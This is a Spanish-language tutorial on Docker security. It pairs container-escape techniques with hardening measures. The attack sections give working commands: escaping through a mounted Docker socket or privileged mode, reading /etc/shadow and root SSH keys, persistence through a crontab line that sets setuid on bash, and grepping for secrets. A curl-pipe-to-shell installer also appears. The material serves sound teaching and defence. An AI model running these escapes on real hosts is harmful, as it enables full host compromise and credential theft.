← Volver al inicio
Docker Contenedores Hardening Misconfigurations DevSecOps
Intermedio

Docker: Seguridad y Hardening de Contenedores

20/08/2024

Docker es omnipresente en infraestructuras modernas, pero una configuración incorrecta puede exponer el host o toda la red interna. Este proyecto cubre los ataques más comunes contra contenedores Docker y las medidas de hardening para prevenirlos.

1. Enumeración en un contenedor comprometido

# Verificar si estamos en un contenedor:
cat /proc/1/cgroup | grep docker
ls /.dockerenv               # Existe en contenedores Docker
hostname                     # Suele ser el container ID (hash)

# Información del sistema:
uname -a
cat /etc/os-release
env                          # Variables de entorno (pueden tener credenciales)
mount | grep overlay         # Sistema de archivos overlay = contenedor

# Capacidades del proceso actual:
cat /proc/self/status | grep CapEff
# Decodificar:
capsh --decode=0000000000003000

2. Escape de contenedor: montaje del socket de Docker

# Si el socket de Docker está montado dentro del contenedor:
ls -la /var/run/docker.sock

# Explotación — crear contenedor privilegiado con el sistema de ficheros del host:
docker -H unix:///var/run/docker.sock run -it \
  --rm \
  -v /:/host \
  alpine chroot /host sh

# Alternativa sin imagen local — descargar Alpine y escapar:
docker -H unix:///var/run/docker.sock pull alpine
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh

# Una vez dentro del host:
cat /etc/shadow
crontab -l -u root
ls /root/.ssh/

3. Escape de contenedor: modo privilegiado

# Detectar si el contenedor corre como privilegiado:
cat /proc/self/status | grep CapEff
# Si CapEff = 0000003fffffffff → privilegiado

# Explotación con montaje del disco del host:
# 1. Ver dispositivos de bloque:
fdisk -l

# 2. Montar el disco del host:
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# 3. Acceso completo al sistema de archivos:
ls /mnt/host/root
cat /mnt/host/etc/shadow

# 4. Persistencia — añadir tarea cron al host:
echo "* * * * * root chmod +s /bin/bash" >> /mnt/host/etc/crontab

4. Secretos expuestos en contenedores

# Variables de entorno (muy común — credenciales hardcodeadas):
printenv | grep -iE "pass|secret|token|key|db_|api"

# Historial de capas de la imagen (fugas en build):
docker history imagen:tag --no-trunc
# Buscar contraseñas añadidas en RUN o ENV durante el build

# Inspecionar metadatos de la imagen:
docker inspect container_id | python3 -m json.tool | grep -iE "env|password|secret"

# Ficheros de configuración dentro del contenedor:
find / -name "*.env" -o -name "config.php" -o -name "database.yml" 2>/dev/null
cat /app/.env 2>/dev/null

5. Hardening del Dockerfile

# MAL: imagen base genérica + root + secretos en build
FROM ubuntu:latest
ENV DB_PASSWORD=supersecret123
RUN apt-get install -y curl
COPY . /app

# BIEN: imagen minimalista + usuario no root + sin secretos
FROM python:3.12-slim

# Usuario no privilegiado:
RUN groupadd -r appuser && useradd -r -g appuser appuser

# Solo instalar lo necesario:
RUN apt-get update && apt-get install -y --no-install-recommends \
    libpq5 \
  && rm -rf /var/lib/apt/lists/*

WORKDIR /app
COPY --chown=appuser:appuser requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY --chown=appuser:appuser . .

# Cambiar a usuario sin privilegios:
USER appuser

EXPOSE 8080
CMD ["python", "app.py"]

6. Hardening del daemon Docker (daemon.json)

# Editar /etc/docker/daemon.json:
{
  "icc": false,                    // Sin comunicación inter-contenedor
  "log-driver": "json-file",
  "log-opts": {
    "max-size": "10m",
    "max-file": "3"
  },
  "userns-remap": "default",       // Remapear UID/GID al host
  "no-new-privileges": true,       // Evitar escalada dentro del contenedor
  "seccomp-profile": "/etc/docker/seccomp.json"
}

# Reiniciar Docker:
systemctl restart docker

7. Docker run seguro

# Opciones de seguridad al arrancar contenedores:

docker run \
  --read-only \                         # Sistema de archivos solo lectura
  --tmpfs /tmp \                        # /tmp en memoria
  --no-new-privileges \                 # Sin nuevos privilegios
  --cap-drop ALL \                      # Quitar todas las capabilities
  --cap-add NET_BIND_SERVICE \          # Solo añadir las necesarias
  --security-opt no-new-privileges:true \
  --security-opt seccomp:default \
  --user 1000:1000 \                    # Usuario sin privilegios
  --memory 512m \                       # Limitar memoria
  --cpus 0.5 \                          # Limitar CPU
  -p 127.0.0.1:8080:8080 \             # Bind solo a localhost
  mi-imagen:latest

8. Escaneo de vulnerabilidades en imágenes

# Trivy — escáner de vulnerabilidades en imágenes Docker:
apt install trivy
# o:
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh

# Escanear imagen:
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL mi-app:latest

# Escanear contenedor en ejecución:
trivy image --input /var/lib/docker/image/overlay2/...

# Docker Bench Security (benchmark CIS para Docker):
docker run --rm -it --net host --pid host --userns host --cap-add audit_control \
  -v /etc:/etc:ro \
  -v /usr/bin/containerd:/usr/bin/containerd:ro \
  -v /usr/bin/runc:/usr/bin/runc:ro \
  -v /usr/lib/systemd:/usr/lib/systemd:ro \
  -v /var/lib:/var/lib:ro \
  -v /var/run/docker.sock:/var/run/docker.sock:ro \
  docker/docker-bench-security

Checklist de seguridad Docker

MedidaComando / Configuración
No exponer socket DockerNo montar /var/run/docker.sock
No usar modo privilegiadoOmitir --privileged
Usuario no rootUSER appuser en Dockerfile
Solo capabilities necesarias--cap-drop ALL --cap-add ...
FS solo lectura--read-only
Sin secretos en imagenUsar Docker Secrets o variables en runtime
Escanear imagentrivy image nombre:tag
Benchmark CISdocker/docker-bench-security